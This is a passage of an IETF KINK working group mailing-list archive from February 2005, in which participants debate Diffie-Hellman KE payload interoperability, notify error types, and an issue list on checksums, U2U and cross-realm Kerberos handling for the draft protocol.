payloads" you said. > I am fine if the receiver can reject KE payloads by its policy, and > SHOULD send an error to the sender. no objection here ? I propose the text below discussion. > > > > > IKEv1 doesn't define it because it always expects that > > > > > the initial DH is performed; KINK doesn't require this > > > > > since there's already a shared key in the ticket. > > > > > > I am assuming that "the initial DH" means the group number used > > > in phase 1. > > > > No, I meant that IKE always performs an initial > > Diffie Hellman exchange, so the KE payload is > > mandatory. > > I don't understand what you mean. what is the initial DH exchange ? > there are 2 phases in IKEv1. DH exchange can be used in each phases. > there is no description of the group number of phase 2's DH exchange. > that is the problem i said. > in IKEv2, both IKE_SA_INIT and CREATE_CHILD_SA can be used DH exchange. > the group number to be used in each exchange can be specified in each > SA payload. so if we choice IKEv2 manner, there is no problem what i said. > > what do you mean "the KE payload is mandatory." ? KE payload in phase 2 > of IKEv1, or in CREATE_CHILD_SA of IKEv2 is optional. There was my fault. I have told a strange thing here. the fact is that there is no chance to negotiate the DH group in phase 2 of IKEv1. so the negotiators have to make an agreement of the group in use before the negotiation begins, otherwise the negotiation will fail. in ether case, the document has to describe it like the IKEv2 document. section 1.3: If the SA offers include different Diffie-Hellman groups, KEi MUST be an element of the group the initiator expects the responder to accept. If it guesses wrong, the CREATE_CHILD_SA exchange will fail and it will have to retry with a different KEi. > > > > Sakane-san's point (as far as I can read) is that > > > > if KINK allows using KE payloads, the following 3 issues > > > > should be considered. I think only the 3rd item needs additional > > > > text to the KINK spec. > > > > > > > > - Which error code is returned when the responder doesn't support KE, > > > > if we go with IKEv1. > > > > (I think INVALID-PAYLOAD-TYPE is enough.) > > > > Maybe it should be more specific so that a sender > > can know that it's really the KE payload that's > > causing problems? > > I agree with you, however there is no suitable error type in both RFC2408 > and the IKEv2 specification. INVALID_KE_PAYLOAD would be better, but the > meaning is slightly different from this context. do you have any idea ? > > Another possibility that I haven't > > looked at yet is for the receiver to _not_ send its > > KE payload back in which case the sender would realize > > that the receiver didn't perform the DH and it could > > proceed as if the sender KE wasn't present at all? > > could you explain me with another word ? i could not understand what > you said. probably language issue. i am sorry. I have understood what you mean. so the responder has three choices when it receives a KE payload. that is: - return a notify payload with INVALID_KE_PAYLOAD. - return a notify payload with NO_PROPOSAL_CHOSEN. - reply without KE payload. so I would like to propose the following process. any idea ? All node conformed to the document MAY implement the KE payload handling. If a node receives a KE payload, and the receiver does not support the KE handling, and does not want to proceed the negotiation, then the receiver SHOULD send a Notify payload of the type NO_PROPOSAL_CHOSEN to the sender. If the receiver wants to keep the negotiation without the KE payload handling, then the receiver sends a response witout a KE payload. the sender MAY reject it by its policy in this case. If the receiver does not want to process the KE payload by its policy, the receiver SHOULD send a Notify payload of tye type INVALID_KE_PAYLOAD to the sender. Notification Data MUST contain the KE payload in both case. the Protocol ID MUST be 1, and the SPI Size MUST be zero. > > > > - KINK initiators usually set inbound SAs before CREATE command, > > > > but it's not possible when using KE payloads. > > > > I believe the appropriate behavior is specified here... > > could you specify the place in the draft ? i didnt find it. From owner-ietf-kink Mon Feb 21 20:44:39 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M4idhR079999; Mon, 21 Feb 2005 20:44:39 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M4idm5079998; Mon, 21 Feb 2005 20:44:39 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M4icaX079985 for ; Mon, 21 Feb 2005 20:44:39 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:48e3:44de:b638:901e] ([2001:240:2:0:48e3:44de:b638:901e]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Tue, 22 Feb 2005 13:43:59 +0900 id 00007DB9.421AB88F.00004427 Message-ID: <421AB880.5030406@miyazawa.org> Date: Tue, 22 Feb 2005 13:43:44 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: ietf-kink@vpnc.org Subject: #15 [**] Principal name of KINK service (section 5.1.2) Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello, As someone said, I think the sentence just specifies a name convention. I think the way of discovering a remote's principal identifier is an implementation issue. When KINK refering rfc2401bis, PAD would contains a remote's principal ID. But PAD is ambigous. Anyway it is finally an implementation issue. We can care the U2U case in this section with the issue #3. I think we can close this issue. -- Kazunori Miyazawa From owner-ietf-kink Mon Feb 21 20:38:04 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M4c4um079626; Mon, 21 Feb 2005 20:38:04 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M4c4Za079625; Mon, 21 Feb 2005 20:38:04 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M4c2YK079601 for ; Mon, 21 Feb 2005 20:38:03 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id E12D75E for ; Tue, 22 Feb 2005 13:37:45 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 2NDnFz; Tue, 22 Feb 2005 13:37:45 +0900 (JST) Date: Tue, 22 Feb 2005 13:39:19 +0900 Message-ID: <20050222133919IC%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: <20050222125329R.sakane@kame.net> References: <20050216105116E.sakane@kame.net> <20050222125329R.sakane@kame.net> User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 22 Feb 2005 12:53:29 +0900, Shoichi Sakane wrote: > > > > Maybe it should be more specific so that a sender > > > can know that it's really the KE payload that's > > > causing problems? > > > > I agree with you, however there is no suitable error type in both RFC2408 > > and the IKEv2 specification. INVALID_KE_PAYLOAD would be better, but the > > meaning is slightly different from this context. do you have any idea ? > > > > Another possibility that I haven't > > > looked at yet is for the receiver to _not_ send its > > > KE payload back in which case the sender would realize > > > that the receiver didn't perform the DH and it could > > > proceed as if the sender KE wasn't present at all? > > > > could you explain me with another word ? i could not understand what > > you said. probably language issue. i am sorry. > > I have understood what you mean. so the responder has three choices > when it receives a KE payload. that is: > > - return a notify payload with INVALID_KE_PAYLOAD. > - return a notify payload with NO_PROPOSAL_CHOSEN. > - reply without KE payload. > > so I would like to propose the following process. any idea ? > > All node conformed to the document MAY implement the KE payload > handling. If a node receives a KE payload, and the receiver does not > support the KE handling, and does not want to proceed the negotiation, > then the receiver SHOULD send a Notify payload of the type > NO_PROPOSAL_CHOSEN to the sender. If the receiver wants to keep the > negotiation without the KE payload handling, then the receiver sends > a response witout a KE payload. the sender MAY reject it by its policy > in this case. The sender (I assume you meant the initiator) can't reject it because the ACK message can't carry it. > If the receiver does not want to process the KE payload by its policy, > the receiver SHOULD send a Notify payload of tye type INVALID_KE_PAYLOAD > to the sender. > Notification Data MUST contain the KE payload in both case. the Protocol > ID MUST be 1, and the SPI Size MUST be zero. What is the difference between NO_PROPOSAL_CHOSEN and INVALID_KE_PAYLOAD? "Not supported" and "Rejected by policy"? -- KAMADA Ken'ichi From owner-ietf-kink Mon Feb 21 21:31:06 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M5V6gr083814; Mon, 21 Feb 2005 21:31:06 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M5V6ZG083813; Mon, 21 Feb 2005 21:31:06 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M5Umni083758 for ; Mon, 21 Feb 2005 21:31:05 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (kame199.kame.net [203.178.141.199]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1M5UghB071774 for ; Tue, 22 Feb 2005 14:30:43 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: Your message of "Tue, 22 Feb 2005 13:39:19 +0900" <20050222133919IC%kamada@nanohz.org> References: <20050222133919IC%kamada@nanohz.org> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050222143038I.sakane@kame.net> Date: Tue, 22 Feb 2005 14:30:38 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 30 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > > so I would like to propose the following process. any idea ? > > > > All node conformed to the document MAY implement the KE payload > > handling. If a node receives a KE payload, and the receiver does not > > support the KE handling, and does not want to proceed the negotiation, > > then the receiver SHOULD send a Notify payload of the type > > NO_PROPOSAL_CHOSEN to the sender. If the receiver wants to keep the > > negotiation without the KE payload handling, then the receiver sends > > a response witout a KE payload. the sender MAY reject it by its policy > > in this case. I meant the sender was the initiator. > The sender (I assume you meant the initiator) can't reject it > because the ACK message can't carry it. the one does not need to proceed the ACK handling. as referencing to the section 7.2, when the initiator reject it, then the initiator SHOULD re-send a CREATE message without KE payload. > > If the receiver does not want to process the KE payload by its policy, > > the receiver SHOULD send a Notify payload of tye type INVALID_KE_PAYLOAD > > to the sender. > > Notification Data MUST contain the KE payload in both case. the Protocol > > ID MUST be 1, and the SPI Size MUST be zero. > > What is the difference between NO_PROPOSAL_CHOSEN and > INVALID_KE_PAYLOAD? "Not supported" and "Rejected by policy"? yes, correct. From owner-ietf-kink Mon Feb 21 22:10:52 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M6AqJm089764; Mon, 21 Feb 2005 22:10:52 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M6AqP3089763; Mon, 21 Feb 2005 22:10:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M6Ale3089710 for ; Mon, 21 Feb 2005 22:10:51 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 59E695E for ; Tue, 22 Feb 2005 15:10:38 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 2fSLu7; Tue, 22 Feb 2005 15:10:38 +0900 (JST) Date: Tue, 22 Feb 2005 15:12:12 +0900 Message-ID: <20050222151212IS%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: <20050222143038I.sakane@kame.net> References: <20050222133919IC%kamada@nanohz.org> <20050222143038I.sakane@kame.net> User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 22 Feb 2005 14:30:38 +0900, Shoichi Sakane wrote: > > > > so I would like to propose the following process. any idea ? > > > > > > All node conformed to the document MAY implement the KE payload > > > handling. If a node receives a KE payload, and the receiver does not > > > support the KE handling, and does not want to proceed the negotiation, > > > then the receiver SHOULD send a Notify payload of the type > > > NO_PROPOSAL_CHOSEN to the sender. If the receiver wants to keep the > > > negotiation without the KE payload handling, then the receiver sends > > > a response witout a KE payload. the sender MAY reject it by its policy > > > in this case. > > I meant the sender was the initiator. > > > The sender (I assume you meant the initiator) can't reject it > > because the ACK message can't carry it. > > the one does not need to proceed the ACK handling. as referencing to > the section 7.2, when the initiator reject it, then the initiator > SHOULD re-send a CREATE message without KE payload. How the responder distinguish it from a brand new CREATE? Without distinction, the responder can't know whether the first CREATE succeeded or not. -- KAMADA Ken'ichi From owner-ietf-kink Mon Feb 21 22:29:48 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M6TmhS095315; Mon, 21 Feb 2005 22:29:48 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M6Tms0095314; Mon, 21 Feb 2005 22:29:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M6TkYe095141 for ; Mon, 21 Feb 2005 22:29:47 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (kame199.kame.net [203.178.141.199]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1M6TdhB072549 for ; Tue, 22 Feb 2005 15:29:39 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: Your message of "Tue, 22 Feb 2005 15:12:12 +0900" <20050222151212IS%kamada@nanohz.org> References: <20050222151212IS%kamada@nanohz.org> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050222152934Z.sakane@kame.net> Date: Tue, 22 Feb 2005 15:29:34 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 29 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > At Tue, 22 Feb 2005 14:30:38 +0900, > Shoichi Sakane wrote: > > > > > > so I would like to propose the following process. any idea ? > > > > > > > > All node conformed to the document MAY implement the KE payload > > > > handling. If a node receives a KE payload, and the receiver does not > > > > support the KE handling, and does not want to proceed the negotiation, > > > > then the receiver SHOULD send a Notify payload of the type > > > > NO_PROPOSAL_CHOSEN to the sender. If the receiver wants to keep the > > > > negotiation without the KE payload handling, then the receiver sends > > > > a response witout a KE payload. the sender MAY reject it by its policy > > > > in this case. > > > > I meant the sender was the initiator. > > > > > The sender (I assume you meant the initiator) can't reject it > > > because the ACK message can't carry it. > > > > the one does not need to proceed the ACK handling. as referencing to > > the section 7.2, when the initiator reject it, then the initiator > > SHOULD re-send a CREATE message without KE payload. > > How the responder distinguish it from a brand new CREATE? > Without distinction, the responder can't know whether the > first CREATE succeeded or not. can the Transaction ID be used for this purpose ? otherwise, the section 7.2 description won't work, will it ? From owner-ietf-kink Tue Feb 22 00:47:48 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M8llrM054302; Tue, 22 Feb 2005 00:47:48 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1M8ll5N054301; Tue, 22 Feb 2005 00:47:47 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1M8lk4g054221 for ; Tue, 22 Feb 2005 00:47:46 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 5EF005E for ; Tue, 22 Feb 2005 17:47:37 +0900 (JST) Received: from mitana.nanohz.org ([202.214.123.2]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 4cDZ8t; Tue, 22 Feb 2005 17:47:37 +0900 (JST) Date: Tue, 22 Feb 2005 17:49:09 +0900 Message-ID: <20050222174909IZ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: KINK issue list rev.5 User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: open: 20 solution proposed: 14 waiting revised i-d: 7 closed: 2 --------------------------- total: 43 [**] Indicates an issue considered substantive. [-] Indicates an editorial issue. (2401bis) Indicates it depends on 2401 vs 2401bis. #1 [**] Versioning (solution proposed) what happens when a receiver receives a major or minor version of the kink or qm that is inconsistent with this document? What about unknown payload types? (Sam Hartman) QM version is discussed in section 12 (Forward Compatibility Considerations). Proposed solution: - KINK version return error KINK_INVMAJ when major version mismatch. WRT minor version, a) remove the minor version, or b) return KINK_INVMIN when mismatch (both lower and higher) - QM versoin already specified in section 12. - KINK payload type return error (KINK_PROTOERR) - ISAKMP payload type return error (ISAKMP INVALID-PAYLOAD-TYPE) (describe each Notify type usage like ikev2 spec.) Specify the behavior when the error is not authenticated in the Security Consideration section. Related thread: Message-Id: <20050202105420R.sakane@kame.net> #2 [*] U2U (section 3, 4.2, and 5.1.2) (not yet analyzed) I think we need to look at how u2u works at various parts of the protocol. In particular I'm concerned about choosing the right u2u principal, dealing with cross-realm u2u and dealing with recovering from reboots. We should confirm all these work out. (Sam Hartman) # choosing the right u2u is discuessed in #3. # cross-realm u2u is discussed in #19. More examination of user-to-user case, especially situations where it might *not* be two PKINIT clients, which section 3 says is possible. (Ken Raeburn) In the user-to-user case with TGTs, I think the KINK draft may be over-specifying things that should be dealt with at the Kerberos level. If things are underspecified in Kerberos Clarifications, let's deal with that. (Ken Raeburn) See also: #3, #19, and #44 #3 [**] Choosing the right principal when U2U It seems like the server tells the client what principal to authenticate to, but this principal is not properly authorized. (Sam Hartman) Section 5.1.2: How do I authorize which service I'm talking to in the u2u case. I.E. how do I know what principals are authorized for a particular SPD entry? (Sam Hartman) #19 [**] Cross-realm and U2U (section 4.2 and 5.1.5) Please Consider how this works in the cross-realm case. I.E. make sure you end up with the right ticket on the right side. I believe this text assumes that you need a ticket in a realm close to the client; I think that for things to work you actually need a realm close to the server. Work through the message flows and make sure the KDC doing the decryption actually has the necessary keys and then adjust the document if necessary so the right KDC is used. The document needs to clearly indicate what error code is used in the case when the responder cannot get a ticket because some cross-realm key is missing. In general we want it to be possible for an initiator to try several identities until the initiator finds the right one that has a shared key. (Sam Hartman, <20050129021939.1963F76C87@luminous.mit.edu>) #44 [**] How to determine whether GETTGT is used Section 4.2: How will the initiator determine whether it will be able to get a TGT? I think policy considerations of when to use u2u and authorization considerations of what u2u principals are authorized are underspecified in the draft. (Sam Hartman) #4 [**](2401bis) CREATE command from the aspect of 2401bis (section 4.3) (closed) I need explicit review from the IPsec reviewer of this section to make sure it is compatible with 2401bis. Closed: being discussed with #37 #37 [**] Difference between IKE and KINK on CREATE command (section 4.3) IN addition, any differences between how this works and how IKE would set up the same SA need to be called out. It is fine for there to be differences, but I want to make sure the working group explicitly decided the differences are a good thing. I'm somewhat concerned that 4.3 is not specific enough to describe exactly what key gets set up. I.E. I'm concerned it may not be detailed enough for interoperable implementations. (Sam Hartman) - What keys are used for the resulting SA on the each side? (Sam Hartman, Message-ID: ) Answer: Message-ID: <20050204170451BM%kamada@nanohz.org> - Doesn't the timing when to add in/out SAs conflict with IKE? (Sam Hartman, Message-ID: ) Related thread: Message-ID: <20050204170454BO%kamada@nanohz.org> - How about when to add SAs and which SAs to add when 3-way. (Message-ID: <20050204170454BO%kamada@nanohz.org>) --> moved to #45 #5 [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) (solution proposed) Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the nonce should be used. If the circumstances they're describing are different, that's okay, but if so, I missed it on first reading. (Ken Raeburn) They are talking the same situation and the requirement levels should be aligned. I think SHOULD is appropriate because non-returning responder's nonce does not break interoperabilities. (Message-ID: <20050127171441FF%kamada@nanohz.org>) If the initiator receives a responder's nonce, she MUST use it in the KEYMAT calculation. I think it is also editorial issue. anyway, the behavior depends on condition. if a responder does not agree with the initiator's proposal, AND if the responder wants to continue the transaction, then the responder MUST send back a message with ACK request bit, and MAY contain a nonce. There is a case when the responder wants to use same KEYMAT of the initiator, but just doesn't want to use the initiator's proposal. It is not always required to add a nonce. (Message-Id: <20050204200406K.sakane@kame.net>) #45 [*] When to add SAs and which SAs to add in 3-way handshake derived from #5 and #37, and related to #23. When does the responder require ACK? - disagreeing on the proposal - doing KE (dispite accepting or rejecting?) - agreeing with the parameters but want to add NONCE (Is this allowed in KINK?) When to add (and remove if necessary) SAs? - usual optimistic approach This is already described in the current draft. - (non-KE) 3-way - KE 3-way #6 [*] Half open (section 4.4) (solution proposed) IPsec does not allow half-open security associations any more as far as I can tell in 2401bis. So it's not just for simplicity, but for model conformance. (Sam Hartman) Proposed solution: remove the phrase "for simplicity". (Message-ID: ) #7 [**] DPD & STATUS (section 4.4.2 and 4.5) [**] Discuss status message, rebooting peers and u2u. This looks a lot like the IKE case where you lose all cryptographic context to me. (Sam Hartman) I don't understand what you want here. Are you saying that this doesn't work in the u-u case? I don't understand what u-u has to do with anything here. (Michael Thomas) OK. I was unclear . When sending a status message, what happens if the peer has gotten a new TGT? How do I realize I need to use this TGT rather than the one I have? (Sam Hartman) #8 [*] CksumLen (section 5) (solution proposed) Diagram indicates one octet for cksumlen, but the text (and kcrypto specifications) say it should be two. Proposed solutions: - Clarify that you mean the padding discussed in 5.1 (KINK Padding rules), not crypto-system padding. (Sam Hartman) - Use 2 octets for CksumLen field in accordance with kcrypto. See also: #9 #9 [**] etype does not directly indicate checksum type (section 5) (solution proposed) a key's encryption type does not directly indicate a checksum type, it indicates an encryption(-with-integrity-protection) scheme, which does include a required-to-implement checksum type (Ken Raeburn) Proposed solutions are: - Use required-to-implement checksum type determined by the etype. - Use get_mic or verify_mic function to generate or verify the checksum. - Omit the checksum field before calculation. - The Length field is filled with the packet length without checksum and the CksumLen field is zeroed out before the calculation. - Move the Cksum field to the end of the message. (maybe without padding between the last payload and checksum?) (Message-ID: <20050131093509FD%kamada@nanohz.org>) #10 [**] Kerberos allows variable length checksum (section 5) (solution proposed) I'd have to go back and check, but I don't think we require that a given checksum type have a fixed output size, so "leave X amount of space and fill it with zero for computing the checksum" is questionable too. (Ken Raeburn) Proposed solution: look at #9 #11 [*] Kerberos checksum is not deterministic (section 5) (solution proposed) The Kink description of how to verify a checksum assumes that Kerberos checksums are deterministic; this is not strictly required. (Sam Hartman) let kcrypto specify how to verify a checksum, as they're not required to be deterministic, so the "compute it again and compare" approach specified in section 5 is wrong (Ken Raeburn) Proposed solution: look at #9 #12 [**] Subsession keys (section 5 and 8) Are subsession keys ignored? (Ken Raeburn) The description of the checksum says that the session key of the ticket is used. That's a way to do it, but the working group should explain why it has chosen to ignore the subsession key. (Sam Hartman) Related thread: Message-ID: <20050127171703FZ%kamada@nanohz.org> Michael> more entropy from subsession keys buy us almost nothing (ISAKMP NONCE is enough) And old mail: <15190.63952.167857.646848@thomasm-u1.cisco.com> Bill> The session key is long-lived. (but it's not really all that different from a per-exchange nonce.) Sam> Being the same as everyone else is preferred if we have no reason. #13 [**] Replay protection (section 5) (closed) The document claims that the transaction id is not used for replay detection because Kerberos provides that. How is that true? The authenticator is protected against replays but how is the rest of the message bound to that specific authenticator instead of to a session key of a ticket? (Sam Hartman) Closed: (Message-ID: ) #14 [-] Reserved (15 bits) -- Reserved and must be zero (section 5) (waiting revised i-d) must be zero on send, must be ignored by receiver. #15 [**] Principal name of KINK service (section 5.1.2) How do I discover the FQDN of my remote peer? SPD entries are configured in terms of IP addresses. If you want to store an identity in the PAD, why not store a principal instead of a hostname. I interpreted the text as a naming convention, not how a implementation get a peer's principal name. So I think it is an implementation issue whether a principal name is generated from a FQDN or got directly from the PAD. (KAMADA Ken'ichi, <20050131095154FY%kamada@nanohz.org>) #16 [*] EPOCH (section 5.1.2) Perhaps you need a description of the time stamp? I recall there being such a description in draft-housley-binarytime-xx. (Sam Hartman) Related thread: Message-ID: <20050210154348XQ%kamada@nanohz.org> #17 [**] Checksum when KRB-ERROR occured (section 5.1.4 and 7.1) (solution proposed) Section 7.1 says the checksum in the KRB-ERROR message is not used, but section 5.1.4 says that KINK implementation MUST make use of keyed Kerberos errors. But KRB-ERROR does not have checksum in it (at least with RFC 1510 or kerberos-clarifications). Remove following paragraph from section 5.1.4. (Sam Hartman) KINK implementations MUST make use of keyed Kerberos errors when the appropriate service key is available as specified in [KRBREVS]. In particular, clock skew errors MUST be integrity protected. For unauthenticated Kerberos errors, the receiver MAY choose to act on them, but SHOULD take precautions against make-work kinds of attacks. Replace the above paragraph with the following: (kamada) KINK implementations MUST make use of a KINK Cksum field when returning KINK_KRB_ERROR and the appropriate service key is available. Drop reference to krb-error checksum from section 7.1. (Sam Hartman) defined in the following sections. The checksum in the KRB-ERROR message is not used, since the KINK header already contains a check- sum field. #18 [**] Kerberos error type limitations (section 5.1.4) Why should a sender send only those errors? I'm mostly asking for an explanation to be given to me or to be added to the document rather than liberalization of the requirement. (Sam Hartman) Related thread: Message-Id: <20050204202941G.sakane@kame.net> #20 [**] KINK_ENCRYPT format (section 5.1.8) (solution proposed) The format of the encrypted part of KINK_ENCRYPT (section 5.1.8) is vague. I think of using the output of raw encryption algorithms (i.e. E(confounder | plaintext | pad)) or using EncryptedData. treat "encryption with integrity protection" output as a whole, don't peek under the covers to find a "checksum" part you can throw away (Ken Raeburn) drop references to the initialization vector (Ken Raeburn) Please use the output of the kcrypto encrypt operation directly. Of most importance is to make sure that all kcrypto enctypes will work even if it is not possible to decompose the kcrypto checksum from the encrypted data. This probably means that in some cases you will have double checksums. You also need to deal with making sure you can determine the length of the plaintext. (Sam Hartman) Related thread: Message-Id: <20050204205737C.sakane@kame.net> Proposed solution: Use the output of the kcrypto encryption. #21 [*] Next Payload in KINK_ENCRYPT (section 5.1.8) (solution proposed) Text should probably indacte that next payload must be none. Proposed solution: The section 5.1 describes it, however it would be better to describe explicitly so. reader does not has trouble even if the text is described repeatedly. (Message-Id: <20050204210401T.sakane@kame.net>) #22 [*] Kerberos PFS (section 6.8) (solution proposed) Sec 6.8: "Kerberos in general does not provide PFS so it is somewhat questionable whether a system which is heavily relying on Kerberos benefits from PFS." First, that sounds like it might be Security Considerations material. Second, I don't follow; explain please? (Ken Raeburn) Related thread: Message-Id: <20050204211105O.sakane@kame.net> - (Current) Kerberos doesn't provide PFS. - KINK optionally provides PFS. - KINK PFS has benefits but is not mandatory because of the computational cost. so editorial fix (or even removing this sentence) would be enough. #23 [*] KE interoperability (section 6.8) What happens if a peer that implements the KE payloads communicates with a peer that does not. Specify the behavior in sufficient detail to guarantee interoperability. (Sam Hartman) Releated thread: Message-Id: <20050204213547M.sakane@kame.net> #24 [*] MUST/SHOULD in clock skew (section 7.1) The time difference MUST be computed and SHOULD be stored and used? Why the different requirement levels? (And is this sort of thing in the domain of KINK or Kerberos?) (Ken Raeburn) Related thread: Message-ID: <4202FB85.6080406@miyazawa.org> #25 [**] prf (section 8) (solution proposed) Section 8 says "prf is the same hash algorithm found in the session ticket's etype", but krb-wg-crypto-07 defines hash as unkeyed. Fortunately krb-wg-crypto-07 defines a PRF for each etype, so KINK should use this PRF. Use a prf from kcrypto, don't assume the checksum operations are deterministic hash functions (Ken Raeburn) Section 6.1 (the description of hash 